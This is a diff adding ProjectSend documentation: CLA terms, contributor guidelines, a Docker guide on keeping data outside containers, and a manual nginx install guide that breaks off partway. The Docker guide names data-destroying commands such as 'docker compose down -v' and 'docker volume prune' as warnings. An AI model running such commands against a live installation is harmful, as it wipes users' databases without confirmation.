||||
FITNESS FOR A PARTICULAR PURPOSE.
|
||||
|
||||
## 7. No Obligation
|
||||
|
||||
You understand that the decision to include Your Contribution in any product or source repository
|
||||
is entirely at the discretion of the Licensor, and this Agreement does not obligate the Licensor
|
||||
to include Your Contribution in any product.
|
||||
|
||||
## 8. Notification
|
||||
|
||||
You agree to notify the Licensor of any facts or circumstances of which You become aware that
|
||||
would make the representations in this Agreement inaccurate in any respect.
|
||||
|
||||
## 9. Successors and Assigns
|
||||
|
||||
The Licensor may assign this Agreement, and the rights granted under it, to any successor in
|
||||
interest to the ProjectSend project, including in connection with a reorganization, transfer of
|
||||
stewardship, or sale of assets.
|
||||
|
||||
## 10. Governing Law
|
||||
|
||||
This Agreement is governed by the laws of the Argentine Republic, without regard to its conflict
|
||||
of law provisions. Any dispute arising from or relating to this Agreement shall be submitted to
|
||||
the ordinary courts of the Autonomous City of Buenos Aires, Argentina.
|
||||
|
||||
---
|
||||
|
||||
## How to sign
|
||||
|
||||
Contributions to ProjectSend are gated by an automated CLA check. When You open Your first pull
|
||||
request, a bot will comment with a link. Signing takes one click and is recorded against Your
|
||||
GitHub account.
|
||||
|
||||
Questions before signing: <contact@projectsend.org>
|
||||
+184
@@ -0,0 +1,184 @@
|
||||
# Contributing to ProjectSend
|
||||
|
||||
ProjectSend has been maintained since 2011 and is used by freelancers, agencies, NGOs, schools
|
||||
and government offices around the world. Thanks for helping keep it good.
|
||||
|
||||
## Ways to contribute
|
||||
|
||||
- **Report a bug** — open an [issue](https://github.com/projectsend/projectsend/issues) with how you
|
||||
run ProjectSend (Docker or manual install), the version, and steps to reproduce.
|
||||
- **Report a security vulnerability** — do **not** open a public issue. Report it privately via
|
||||
[GitHub security advisories](https://github.com/projectsend/projectsend/security/advisories/new).
|
||||
- **Suggest a feature** — start a [discussion](https://github.com/projectsend/projectsend/discussions)
|
||||
first. It saves everyone time to agree on the shape of a thing before code is written.
|
||||
- **Translate** — translations live in this repo as JSON files under [lang/](lang/). Fixing or
|
||||
completing a locale is a pull request like any other.
|
||||
- **Write code** — read the rest of this document first.
|
||||
|
||||
## Before you write code
|
||||
|
||||
For anything beyond a small fix, open an issue or discussion first. Large pull requests that
|
||||
arrive without prior discussion are hard to review and often need rework.
|
||||
|
||||
## Setting up for development
|
||||
|
||||
The quickest way to a running copy is Docker — the steps that install ProjectSend are also the
|
||||
steps that set it up for development. From a fresh clone:
|
||||
|
||||
```sh
|
||||
cp .env.example .env
|
||||
docker compose up -d
|
||||
docker compose exec app composer install
|
||||
docker compose exec app php artisan key:generate
|
||||
docker compose exec app php artisan migrate
|
||||
npm install && npm run build # or `npm run dev` for hot reload
|
||||
```
|
||||
|
||||
The app is then at `http://localhost:8090`. Until a staff user exists every request redirects to the
|
||||
first-run setup screen, which creates the initial administrator. For unattended provisioning you can
|
||||
instead set `ADMIN_NAME` / `ADMIN_EMAIL` / `ADMIN_PASSWORD` in `.env` before starting (the container
|
||||
creates the account on boot, idempotently), or run
|
||||
`docker compose exec app php artisan projectsend:admin` at any time.
|
||||
|
||||
A few things worth knowing:
|
||||
|
||||
- Self-hosted installs run the community edition — `PROJECTSEND_EDITION=community` in `.env`.
|
||||
- `APP_PORT` / `ADMINER_PORT` / `DB_PORT_FORWARD` override the ports if they clash with something
|
||||
you already run.
|
||||
- Adminer, a database GUI, is available for development with
|
||||
`docker compose --profile dev up -d adminer`.
|
||||
- On later boots the container migrates automatically. The manual `migrate` above is only needed on
|
||||
the first install, before `vendor/` exists.
|
||||
|
||||
**Staff and clients are different things.** Staff — "system users" — administer the installation and
|
||||
upload files. Clients are the people files are shared with. There is no staff registration page:
|
||||
staff are created by an administrator. Client self-registration is optional and can require
|
||||
approval.
|
||||
|
||||
You don't need anything private to work on ProjectSend. The `community-modules` companion package
|
||||
is public and Composer fetches it for you; the paid Cloud package is not required by the core.
|
||||
|
||||
### Before you open a pull request
|
||||
|
||||
Run the same checks CI runs, and make sure they pass:
|
||||
|
||||
```sh
|
||||
docker compose exec app ./vendor/bin/pest # tests
|
||||
docker compose exec app ./vendor/bin/phpstan # static analysis (level 8)
|
||||
docker compose exec app ./vendor/bin/pint # code style
|
||||
npm run types # TypeScript
|
||||
npm run lint # ESLint
|
||||
```
|
||||
|
||||
If you touched the frontend, `npm run build` must also succeed.
|
||||
|
||||
## Pull requests
|
||||
|
||||
1. Fork the repo and branch off `main`.
|
||||
2. One logical change per pull request.
|
||||
3. Run the checks above and keep the existing code style.
|
||||
4. Write a clear description: what changes, why, and how you tested it.
|
||||
5. If your change affects the database schema, include the migration.
|
||||
6. If your change affects user-facing strings, use the existing translation helpers
|
||||
(`t()` / `__()`) — never hardcode English.
|
||||
|
||||
## Licensing and the Contributor License Agreement
|
||||
|
||||
ProjectSend is free software licensed under the **GNU General Public License v2, or (at your
|
||||
option) any later version**. See [LICENSE](LICENSE). That isn't changing.
|
||||
|
||||
Before your first pull request can be merged, you'll need to sign a Contributor License Agreement.
|
||||
A bot will comment on your pull request with a link; signing takes one click and is recorded
|
||||
against your GitHub account. You only do this once, and it covers everything you've contributed
|
||||
to ProjectSend — past and future.
|
||||
|
||||
- Contributing on your own behalf → [Individual CLA](CLA-INDIVIDUAL.md)
|
||||
- Contributing as part of your job, or on behalf of a company → [Entity CLA](CLA-ENTITY.md)
|
||||
|
||||
### Why a CLA?
|
||||
|
||||
CLAs are contentious in open source and the concern behind that is legitimate, so we'd rather
|
||||
explain this properly than bury it.
|
||||
|
||||
**You keep the copyright in your contribution.** The CLA is a license, not a transfer of
|
||||
ownership. You can continue to use, relicense, or sell your own code however you want. Nothing
|
||||
you grant here takes anything away from you.
|
||||
|
||||
**It lets the project fund itself.** The CLA gives the maintainers the right to also distribute
|
||||
the code under other terms — specifically, a commercial license for organizations whose legal
|
||||
departments can't accept the GPL, and who want to embed ProjectSend in a product of their own.
|
||||
That revenue, along with managed hosting at [projectsend.cloud](https://projectsend.cloud), is
|
||||
what pays for continued development of the free, self-hosted version everyone uses. See
|
||||
[LICENSING.md](LICENSING.md).
|
||||
|
||||
**It keeps our options open.** Without a CLA, changing ProjectSend's license in the future —
|
||||
even to a newer version of the GPL — would require tracking down every contributor from the past
|
||||
fifteen years and getting individual permission. We're not planning a license change. But we'd
|
||||
rather not be permanently unable to make one.
|
||||
|
||||
### What we commit to in return
|
||||
|
||||
- **ProjectSend's core stays under an OSI-approved open source license.** Not source-available,
|
||||
not BSL, not SSPL.
|
||||
- **Nothing that is free today will ever move behind a paid tier.**
|
||||
- **The self-hosted version will never be crippleware.** No artificial caps on users, clients,
|
||||
files or storage designed to push you toward the hosted plan.
|
||||
- **Every release ever published stays available under the license it was published under.**
|
||||
|
||||
**Being straight with you about what we do sell:** we operate ProjectSend Cloud, and it has
|
||||
features the self-hosted core doesn't. [LICENSING.md](LICENSING.md) sets out exactly where that
|
||||
line is and what stays in the core permanently. If you'd rather your work not go into a project
|
||||
that funds itself this way, that's a fair call, and we'd rather you know before you contribute
|
||||
than after.
|
||||
|
||||
If you're not comfortable signing, that's a reasonable position. Open an issue describing the bug
|
||||
or the design instead — that's a real contribution too, and it doesn't require any agreement.
|
||||
|
||||
### A note on AI-assisted code
|
||||
|
||||
If you used an AI coding assistant, that's fine, but you're still making the representations in
|
||||
the CLA: that the contribution is your original work and that you have the right to submit it.
|
||||
Review what you submit and understand it well enough to maintain it.
|
||||
|
||||
## Third-party code
|
||||
|
||||
If your pull request includes code you didn't write, say so explicitly in the description and
|
||||
name the source and its license. Don't quietly paste in a snippet from Stack Overflow or another
|
||||
project — it creates real problems for everyone downstream.
|
||||
|
||||
## How the code is organised
|
||||
|
||||
A modular monolith under `app/Modules/` — Identity, Clients, Groups, Files, Sharing, Storage,
|
||||
Notifications, Comments, Audit, Platform and friends. Modules talk to each other through public
|
||||
service classes and events rather than reaching into each other's internals.
|
||||
|
||||
Two conventions are worth knowing before your first pull request:
|
||||
|
||||
- **File bytes never travel through PHP.** Downloads are served by the web server itself
|
||||
(`X-Accel-Redirect`) or straight from object storage, so a large download does not occupy a PHP
|
||||
worker.
|
||||
- **Behaviour that differs between installations flows through one registry**
|
||||
(`app/Modules/Platform/Capabilities/`) rather than scattered conditionals. Enforcement derives
|
||||
from it in three places: route middleware, the UI (via the `useCapability()` hook) and the API,
|
||||
which answers `403 capability_unavailable`.
|
||||
|
||||
## Translations
|
||||
|
||||
No user-facing string is hardcoded. **English text is the translation key** — `__('Save changes')`
|
||||
in PHP, `t('Save changes')` in React — so English needs no catalogue and a missing translation
|
||||
falls back to English rather than breaking. Every other language is one file: `lang/{locale}.json`.
|
||||
Framework strings live in `lang/{locale}/*.php` and come from [laravel-lang](https://laravel-lang.com).
|
||||
|
||||
**Write your feature in English, and leave the translating to a separate pass.** Shipping should
|
||||
never wait on a language nobody in the room speaks, and the cost of a lagging translation is low
|
||||
while the cost of a rushed one is not. Translations are brought up to date on a cadence, and always
|
||||
before a release.
|
||||
|
||||
Adding a language is adding a file: a locale is installed exactly when `lang/{locale}.json` exists.
|
||||
Corrections from native speakers are especially welcome — most of the current catalogues have not
|
||||
yet been read by one.
|
||||
|
||||
## Questions
|
||||
|
||||
- [Discussions](https://github.com/projectsend/projectsend/discussions)
|
||||
- <contact@projectsend.org>
|
||||
@@ -0,0 +1,247 @@
|
||||
# Running ProjectSend with Docker: where your data lives
|
||||
|
||||
Docker is the recommended way to run ProjectSend, and this page is about the one part of it that
|
||||
bites people: **your files and your database do not belong to the containers, and you should be
|
||||
able to prove it.** Containers are meant to be thrown away and rebuilt — that is the whole point of
|
||||
them — so an upgrade, a crash, or a bad `docker compose` command must never be able to take your
|
||||
data with it.
|
||||
|
||||
Read this before you put real files in ProjectSend, not after.
|
||||
|
||||
> Getting started with Docker in the first place is covered in [README](README.md#development).
|
||||
> Installing without Docker, on a plain PHP server, is [INSTALL.md](INSTALL.md).
|
||||
|
||||
---
|
||||
|
||||
## The three things that matter
|
||||
|
||||
Everything ProjectSend cannot regenerate lives in exactly three places:
|
||||
|
||||
| What | Where it is by default | Losing it means |
|
||||
|---|---|---|
|
||||
| **The database** | A Docker *named volume*, `projectsend_db-data` | Everything except the files themselves: accounts, groups, permissions, share links, comments, the activity log |
|
||||
| **Uploaded files** | `storage/app/files/` in the project directory | The files your clients downloaded — gone |
|
||||
| **`.env`** | The project directory | `APP_KEY`, without which saved SMTP and LDAP passwords cannot be decrypted |
|
||||
|
||||
You do not have to work out which of these you have from memory. **The dashboard's System panel
|
||||
reports where your uploaded files actually live** — a host directory, a Docker volume (named), or
|
||||
the container's own filesystem — and warns you about the last two. The database is the one thing it
|
||||
cannot check: it runs in its own container, and the only way for PHP to see inside that one would be
|
||||
to hand it the Docker socket, which would turn any vulnerability in the application into root on
|
||||
your server. That half is on you, and it is what the backup section below is for.
|
||||
|
||||
Two things you may be surprised to find you do **not** need to protect:
|
||||
|
||||
- **Redis** (`projectsend_redis-data`) holds sessions, the cache and the job queue. Losing it signs
|
||||
everyone out and drops any not-yet-sent emails or half-built zips. Annoying; not data loss.
|
||||
- **Parts of `storage/app/files/`** are derived, not precious: `zips/` (built downloads, deleted
|
||||
automatically after a day), `thumbnails/` and `previews/` (rebuilt on demand the next time
|
||||
somebody looks at a file). They sit in the same directory as the real uploads, so the simplest
|
||||
thing is to back up all of it and not think about which is which.
|
||||
|
||||
## The good news, and the one command to fear
|
||||
|
||||
Named volumes are already outside the container lifecycle. `docker compose down`,
|
||||
`docker compose up --build`, deleting and recreating every container — none of those touch
|
||||
`projectsend_db-data`. Upgrading does not lose your database, and never did.
|
||||
|
||||
The command that *does* destroy it is:
|
||||
|
||||
```sh
|
||||
docker compose down -v # ← the -v deletes the named volumes
|
||||
```
|
||||
|
||||
That flag exists to clean up a development machine. On a real installation it deletes your entire
|
||||
database in about a second, with no confirmation. The same goes for `docker volume prune` and
|
||||
`docker system prune --volumes` when the stack happens to be down.
|
||||
|
||||
So the actual problem with the default setup is not fragility, it is **invisibility**: your
|
||||
database is somewhere under `/var/lib/docker/volumes/`, which means most people never back it up
|
||||
and would not know where to look. The rest of this page fixes that.
|
||||
|
||||
---
|
||||
|
||||
## Putting the data where you chose
|
||||
|
||||
Bind-mount both to real paths on the host, so your data sits somewhere you picked, somewhere you
|
||||
can see in `ls`, and somewhere your existing backup tool already knows about.
|
||||
|
||||
### 1. Make the directories
|
||||
|
||||
```sh
|
||||
sudo mkdir -p /srv/projectsend/files /srv/projectsend/mysql
|
||||
|
||||
# The app containers run as uid 1000 by default (the WWWUSER build argument).
|
||||
# If you set WWWUSER to something else in .env, use that instead.
|
||||
sudo chown -R 1000:1000 /srv/projectsend/files
|
||||
```
|
||||
|
||||
Leave `/srv/projectsend/mysql` owned by root — the MySQL image sets its own ownership the first
|
||||
time it starts.
|
||||
|
||||
### 2. Create `compose.override.yaml`
|
||||
|
||||
Next to `compose.yaml`. Docker Compose reads this file automatically and merges it on top, so you
|
||||
never edit the tracked `compose.yaml` and nothing you write here is lost on the next update.
|
||||
|
||||
```yaml
|
||||
services:
|
||||
# All four app containers must see the same files directory. Missing one of
|
||||
# them is the classic mistake: uploads land in one place and downloads are
|
||||
# served from another, so every download 404s. `web` is the one people
|
||||
# forget — nginx serves the bytes itself, from
|
||||
# /var/www/html/storage/app/files/, so it needs the mount just as much as
|
||||
# the container that wrote them.
|
||||
app:
|
||||
volumes:
|
||||
- /srv/projectsend/files:/var/www/html/storage/app/files
|
||||
web:
|
||||
volumes:
|
||||
- /srv/projectsend/files:/var/www/html/storage/app/files
|
||||
worker:
|
||||
volumes:
|
||||
- /srv/projectsend/files:/var/www/html/storage/app/files
|
||||
scheduler:
|
||||
volumes:
|
||||
- /srv/projectsend/files:/var/www/html/storage/app/files
|
||||
|
||||
db:
|
||||
volumes:
|
||||
- /srv/projectsend/mysql:/var/lib/mysql
|
||||
```
|
||||
|
||||
Check the result before applying it — this prints the fully merged configuration:
|
||||
|
||||
```sh
|
||||
docker compose config
|
||||
```
|
||||
|
||||
### 3. Move the data you already have
|
||||
|
||||
**Skip this on a brand-new installation.** There is nothing to move; go straight to step 4.
|
||||
|
||||
Stop everything first. Copying a database out from under a running MySQL is how you get a backup
|
||||
that restores into a corrupt table.
|
||||
|
||||
```sh
|
||||
docker compose down # no -v
|
||||
```
|
||||
|
||||
Files, which are already on the host inside the project directory:
|
||||
|
||||
```sh
|
||||
sudo rsync -a storage/app/files/ /srv/projectsend/files/
|
||||
sudo chown -R 1000:1000 /srv/projectsend/files
|
||||
```
|
||||
|
||||
The database, which is in the named volume. A throwaway container is the tidy way to reach inside
|
||||
one:
|
||||
|
||||
```sh
|
||||
docker run --rm \
|
||||
-v projectsend_db-data:/from \
|
||||
-v /srv/projectsend/mysql:/to \
|
||||
alpine sh -c 'cd /from && cp -a . /to'
|
||||
```
|
||||
|
||||
(`projectsend_db-data` is the volume's real name — the `db-data` from `compose.yaml` prefixed with
|
||||
the project name. `docker volume ls` will confirm it.)
|
||||
|
||||
### 4. Start, and check
|
||||
|
||||
```sh
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
Then prove it worked rather than assuming: log in and check the dashboard's System panel — **Files
|
||||
stored on** should now read *Host directory*, and the Docker-volume warning should be gone. Then
|
||||
open a file, **download it**, and upload a new one; confirm the new upload appears in
|
||||
`/srv/projectsend/files/` on the host. A download that returns nothing means one of the four
|
||||
containers is missing the mount from step 2.
|
||||
|
||||
Once you are satisfied, and not before, you can reclaim the old volume:
|
||||
|
||||
```sh
|
||||
docker volume rm projectsend_db-data
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Backing up
|
||||
|
||||
Bind mounts make your data visible. They do not make it backed up.
|
||||
|
||||
### The database
|
||||
|
||||
**Do not back up the MySQL directory by copying it while the database is running.** A file-level
|
||||
copy of a live data directory is not a snapshot — it is a set of files captured at slightly
|
||||
different moments, and it may restore into something subtly broken. Use a dump:
|
||||
|
||||
```sh
|
||||
docker compose exec -T db \
|
||||
mysqldump -u root -p"${DB_ROOT_PASSWORD:-root}" \
|
||||
--single-transaction --routines --triggers \
|
||||
projectsend > projectsend-$(date +%F).sql
|
||||
```
|
||||
|
||||
`--single-transaction` is what makes this safe on a running database: the dump sees one consistent
|
||||
moment in time without locking anybody out.
|
||||
|
||||
### The files
|
||||
|
||||
```sh
|
||||
rsync -a /srv/projectsend/files/ /your/backup/location/files/
|
||||
```
|
||||
|
||||
Ordinary files, no special handling. Restoring means copying them back and fixing ownership
|
||||
(`chown -R 1000:1000`).
|
||||
|
||||
### `.env`
|
||||
|
||||
Copy it somewhere safe, once, and again whenever you change it. It is a few hundred bytes and it
|
||||
holds `APP_KEY` — lose that and the SMTP and LDAP passwords stored in your database become
|
||||
undecryptable, even though the rest of the backup is perfect.
|
||||
|
||||
### Restoring
|
||||
|
||||
```sh
|
||||
docker compose up -d db
|
||||
docker compose exec -T db mysql -u root -p"${DB_ROOT_PASSWORD:-root}" projectsend < projectsend-2026-08-08.sql
|
||||
sudo rsync -a /your/backup/location/files/ /srv/projectsend/files/
|
||||
sudo chown -R 1000:1000 /srv/projectsend/files
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
**Test this at least once, on a machine that is not your live one.** A backup nobody has ever
|
||||
restored is a hypothesis, not a backup.
|
||||
|
||||
---
|
||||
|
||||
## Upgrading
|
||||
|
||||
With the data outside the containers, an upgrade touches only the containers:
|
||||
|
||||
```sh
|
||||
docker compose down # again: no -v
|
||||
git pull # or unpack the new release over the directory
|
||||
docker compose up -d --build
|
||||
```
|
||||
|
||||
The app container migrates the database itself on boot and verifies its reference data, so there is
|
||||
no separate migration step. Take a database dump first anyway — migrations move forwards, not
|
||||
backwards, and the one time you skip it will be the time you want it.
|
||||
|
||||
---
|
||||
|
||||
## Moving to another server
|
||||
|
||||
This is the payoff for everything above, and it is worth doing once deliberately so you know it
|
||||
works:
|
||||
|
||||
1. Dump the database and copy `/srv/projectsend/`, `.env` and the dump to the new machine.
|
||||
2. Install Docker, put the project directory in place, restore both as described under
|
||||
[Restoring](#restoring).
|
||||
3. Point DNS at the new machine, and update `APP_URL` in `.env` if the address changed.
|
||||
|
||||
No export tool, no vendor involvement, nothing that only works while the old machine is alive.
|
||||
That is the property worth protecting, and the reason this page exists.
|
||||
+493
@@ -0,0 +1,493 @@
|
||||
# Installing ProjectSend
|
||||
|
||||
This guide is for installing ProjectSend **manually on your own server**, from the `.zip` file
|
||||
published with each release.
|
||||
|
||||
If you can run Docker, use Docker instead — it is one command, and everything on this page
|
||||
(PHP extensions, the web server, the background worker, the scheduled tasks) is already wired up
|
||||
for you. See [the Docker instructions](README.md#development), and
|
||||
[DOCKER.md](DOCKER.md) for keeping your database and uploads outside the containers. Come back here
|
||||
if Docker is not an option on your hosting.
|
||||
|
||||
The whole thing takes about ten minutes. You will need shell access to the server and the ability
|
||||
to create a database — this is not an install you can do over FTP alone.
|
||||
|
||||
---
|
||||
|
||||
## What you need
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| **PHP** | 8.4 or newer, both the command-line PHP and PHP-FPM |
|
||||
| **PHP extensions** | `bcmath` `ctype` `curl` `dom` `fileinfo` `filter` `gd` `iconv` `intl` `json` `ldap` `mbstring` `openssl` `pcntl` `pdo_mysql` `session` `simplexml` `tokenizer` `zip` |
|
||||
| **Database** | MySQL 8.0 or newer (we test on 8.4 LTS) |
|
||||
| **Web server** | **nginx**, with PHP-FPM — see the note below |
|
||||
| **Disk space** | The app itself is small; plan for whatever your users will upload |
|
||||
|
||||
A few notes on that list:
|
||||
|
||||
- **`ldap` is required even if you never use LDAP.** One of the libraries ProjectSend depends on
|
||||
declares it, so PHP will refuse to start the app without it. On Debian/Ubuntu it is
|
||||
`php8.4-ldap`; on RHEL-family systems, `php-ldap`.
|
||||
- **nginx is not a preference, it is a requirement.** See [Why nginx](#why-nginx) — it is worth
|
||||
two minutes of reading before you commit to a server, because Apache cannot be made to work by
|
||||
configuring it differently.
|
||||
- **Redis is optional.** The Docker setup uses it, but a manual install works fine with the
|
||||
database for sessions, cache and queues. If you already have Redis, see
|
||||
[Optional extras](#optional-extras) below.
|
||||
|
||||
### Why nginx
|
||||
|
||||
Your uploaded files do not live under `public/`. They sit in `storage/app/files/`, outside the web
|
||||
root, where no URL can reach them — which is the whole point: a file is only yours to download if
|
||||
ProjectSend says so, and a file sitting in a guessable public folder has already lost that
|
||||
argument.
|
||||
|
||||
So every download has to pass through a permission check. The obvious way to do that is to let PHP
|
||||
read the file and echo it back to the browser, and that is what most PHP applications do. It works,
|
||||
and it is a bad idea at any real size: a single 5 GB download occupies a PHP process for its entire
|
||||
duration, so a handful of people downloading at once can exhaust every worker your server has while
|
||||
the CPU sits idle. Resumable downloads, byte ranges and progress bars all have to be reimplemented
|
||||
by hand, usually incorrectly.
|
||||
|
||||
ProjectSend does the other thing. PHP checks permissions, logs the download, and then answers with
|
||||
an empty response carrying a header that says *"nginx, please send this file."* nginx streams the
|
||||
bytes with the same code it uses for any static file — sendfile, byte ranges, resume support, no
|
||||
PHP process held open — and the visitor never sees the real path. The header is
|
||||
`X-Accel-Redirect`, and the matching `location /protected-files/` block in
|
||||
[step 6](#step-6--point-your-web-server-at-it) is marked `internal`, which is what stops anyone
|
||||
from requesting that path directly.
|
||||
|
||||
**Apache has no equivalent that ProjectSend can use.** Apache's closest feature, `mod_xsendfile`,
|
||||
reads a differently-named header (`X-Sendfile`) that ProjectSend does not send, and it is not
|
||||
installed by default anyway. LiteSpeed has its own third spelling. On any of them the application
|
||||
installs fine and every page works — you can log in, upload, manage clients, browse the library —
|
||||
but **every download returns an empty response or a 404**, because nothing is listening for the
|
||||
instruction PHP just gave. There is no setting to change; the header names simply do not match.
|
||||
|
||||
Two ways out, if nginx really is impossible on your hosting:
|
||||
|
||||
- Put nginx in front of Apache as a reverse proxy, serving `/protected-files/` itself. This works
|
||||
but is more moving parts than just using nginx.
|
||||
- Store your files in S3-compatible object storage instead (see
|
||||
[Storing files somewhere other than this server](#storing-files-somewhere-other-than-this-server)).
|
||||
Files kept there are never on your server's disk, so downloads become a signed, expiring redirect
|
||||
to the storage provider and the web server is not involved at all. This is a genuine, supported
|
||||
path — just decide it before people start uploading, not after.
|
||||
|
||||
---
|
||||
|
||||
## Step 1 — Put the files on the server
|
||||
|
||||
Download `projectsend-x.y.z.zip` from the
|
||||
[releases page](https://github.com/projectsend/projectsend/releases), upload it to your server, and
|
||||
unpack it where you want the site to live:
|
||||
|
||||
```sh
|
||||
cd /var/www
|
||||
unzip projectsend-2.0.0.zip -d projectsend
|
||||
cd projectsend
|
||||
```
|
||||
|
||||
The release zip is ready to run — you do **not** need Composer, Node, or npm. Everything the app
|
||||
needs is already inside it.
|
||||
|
||||
> **Important:** point your web server at the `public/` folder inside this directory, never at the
|
||||
> directory itself. Everything above `public/` — your configuration, your database credentials,
|
||||
> your users' uploaded files — is meant to be unreachable from the web. Step 6 covers this.
|
||||
|
||||
## Step 2 — Create the database
|
||||
|
||||
Create an empty database and a user that owns it. From the MySQL shell:
|
||||
|
||||
```sql
|
||||
CREATE DATABASE projectsend CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
|
||||
CREATE USER 'projectsend'@'localhost' IDENTIFIED BY 'a-long-random-password';
|
||||
GRANT ALL PRIVILEGES ON projectsend.* TO 'projectsend'@'localhost';
|
||||
FLUSH PRIVILEGES;
|
||||
```
|
||||
|
||||
Leave the database empty. ProjectSend creates its own tables in step 5.
|
||||
|
||||
## Step 3 — Tell ProjectSend about your server
|
||||
|
||||
Copy the example configuration and open it in an editor:
|
||||
|
||||
```sh
|
||||
cp .env.example .env
|
||||
```
|
||||
|
||||
`.env` is a plain list of `NAME=value` lines. The example file is written for the Docker setup, so
|
||||
there is a fair amount to change. Here is a complete, working configuration for a manual install —
|
||||
paste it over the top of the file, then change the addresses and passwords to yours:
|
||||
|
||||
```ini
|
||||
APP_NAME="ProjectSend"
|
||||
APP_ENV=production
|
||||
APP_KEY=
|
||||
APP_DEBUG=false
|
||||
APP_URL=https://files.example.com
|
||||
APP_TIMEZONE=UTC
|
||||
|
||||
PROJECTSEND_EDITION=community
|
||||
|
||||
DB_CONNECTION=mysql
|
||||
DB_HOST=127.0.0.1
|
||||
DB_PORT=3306
|
||||
DB_DATABASE=projectsend
|
||||
DB_USERNAME=projectsend
|
||||
DB_PASSWORD=a-long-random-password
|
||||
|
||||
SESSION_DRIVER=database
|
||||
CACHE_STORE=database
|
||||
QUEUE_CONNECTION=database
|
||||
|
||||
FILESYSTEM_DISK=local
|
||||
```
|
||||
|
||||
The four that actually matter:
|
||||
|
||||
- **`APP_URL`** — the address people will type to reach your site, including `https://`. Links in
|
||||
emails are built from this, so getting it wrong means broken links in every notification.
|
||||
- **`APP_DEBUG=false`** — leave it off. With debug on, an error page will show visitors parts of
|
||||
your configuration.
|
||||
- **`DB_*`** — what you created in step 2.
|
||||
- **`APP_KEY`** — leave it empty for now; step 5 fills it in.
|
||||
|
||||
The three `database` lines mean sessions, cache and background jobs all live in MySQL, so there is
|
||||
nothing else to install. If you have Redis, see [Redis](#redis) — but do the install first.
|
||||
|
||||
If your site is served over HTTPS, also add:
|
||||
|
||||
```ini
|
||||
SESSION_SECURE_COOKIE=true
|
||||
```
|
||||
|
||||
And if there is a proxy, load balancer or CDN (Cloudflare, an nginx in front of another nginx)
|
||||
between your visitors and this server, add `TRUSTED_PROXIES` too — the `.env.example` file explains
|
||||
the format. Without it every visitor appears to come from the proxy, which breaks per-visitor rate
|
||||
limiting and makes the download log useless.
|
||||
|
||||
You can ignore the mail settings for now — email is configured from inside the app once you are
|
||||
logged in. See [Sending email](#sending-email).
|
||||
|
||||
## Step 4 — Set the file permissions
|
||||
|
||||
ProjectSend writes to two folders: `storage/` (uploaded files, logs, sessions, cache) and
|
||||
`bootstrap/cache/`. Both need to be writable by the user your web server runs as — usually
|
||||
`www-data`, sometimes `nginx`.
|
||||
|
||||
```sh
|
||||
sudo chown -R www-data:www-data /var/www/projectsend
|
||||
sudo chmod -R 775 /var/www/projectsend/storage /var/www/projectsend/bootstrap/cache
|
||||
```
|
||||
|
||||
## Step 5 — Prepare the application
|
||||
|
||||
Three commands. Run them from the install directory, as the web server's user, so that everything
|
||||
they create ends up with the right owner:
|
||||
|
||||
```sh
|
||||
sudo -u www-data php artisan key:generate
|
||||
sudo -u www-data php artisan migrate --force
|
||||
sudo -u www-data php artisan storage:link
|
||||
```
|
||||
|
||||
What they do: the first generates the secret key used to encrypt sessions and cookies (it writes
|
||||
itself into your `.env`); the second creates all the database tables; the third makes public assets
|
||||
like your logo reachable from the web.
|
||||
|
||||
> Keep a copy of `APP_KEY` with your backups. Anything encrypted with it — including saved
|
||||
> credentials for your mail server — cannot be read back without it.
|
||||
|
||||
## Step 6 — Point your web server at it
|
||||
|
||||
A complete nginx server block. Change `server_name`, and change `/var/www/projectsend` to wherever
|
||||
you unpacked the files (there are **three** places, including one inside `/protected-files/`):
|
||||
|
||||
```nginx
|
||||
server {
|
||||
listen 80;
|
||||
server_name files.example.com;
|
||||
root /var/www/projectsend/public;
|
||||
index index.php;
|
||||
|
||||
client_max_body_size 100m;
|
||||
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
|
||||
|
||||
location / {
|
||||
try_files $uri $uri/ /index.php?$query_string;
|
||||
}
|
||||
|
||||
# How downloads are served: ProjectSend checks permissions, then asks
|
||||
# nginx to send the file. This block must NOT be reachable directly —
|
||||
# "internal" is what guarantees that, so do not remove it.
|
||||
location /protected-files/ {
|
||||
internal;
|
||||
alias /var/www/projectsend/storage/app/files/;
|
||||
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
|
||||
add_header Content-Security-Policy "sandbox; default-src 'none'" always;
|
||||
}
|
||||
|
||||
location ~ \.php$ {
|
||||
try_files $uri =404;
|
||||
|
||||
fastcgi_pass unix:/run/php/php8.4-fpm.sock;
|
||||
fastcgi_index index.php;
|
||||
fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name;
|
||||
include fastcgi_params;
|
||||
fastcgi_buffer_size 32k;
|
||||
fastcgi_buffers 8 32k;
|
||||
}
|
||||
|
||||
location ~ /\.(?!well-known) {
|
||||
deny all;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Then check your PHP settings. Large uploads are sent in 20 MB pieces, so PHP never has to handle a
|
||||
whole 5 GB file at once — but the pieces still need room. In your `php.ini`:
|
||||
|
||||
```ini
|
||||
upload_max_filesize = 100M
|
||||
post_max_size = 100M
|
||||
memory_limit = 256M
|
||||
```
|
||||
|
||||
Reload both services:
|
||||
|
||||
```sh
|
||||
sudo nginx -t && sudo systemctl reload nginx
|
||||
sudo systemctl restart php8.4-fpm
|
||||
```
|
||||
|
||||
Set up HTTPS while you are here — [certbot](https://certbot.eff.org/) issues a free certificate and
|
||||
edits the nginx config for you.
|
||||
|
||||
## Step 7 — Create your administrator
|
||||
|
||||
Open your site in a browser. Because no account exists yet, every address takes you to the setup
|
||||
screen, which asks for a site name and the name, email and password of the first administrator.
|
||||
Fill it in, and you are done — sign in and start adding clients.
|
||||
|
||||
If you would rather not do it in the browser (or you are scripting the install), the same thing
|
||||
from the command line:
|
||||
|
||||
```sh
|
||||
sudo -u www-data php artisan projectsend:admin
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Two things to finish
|
||||
|
||||
The app runs without these, but parts of it will quietly not work. Both take a minute.
|
||||
|
||||
### The background worker
|
||||
|
||||
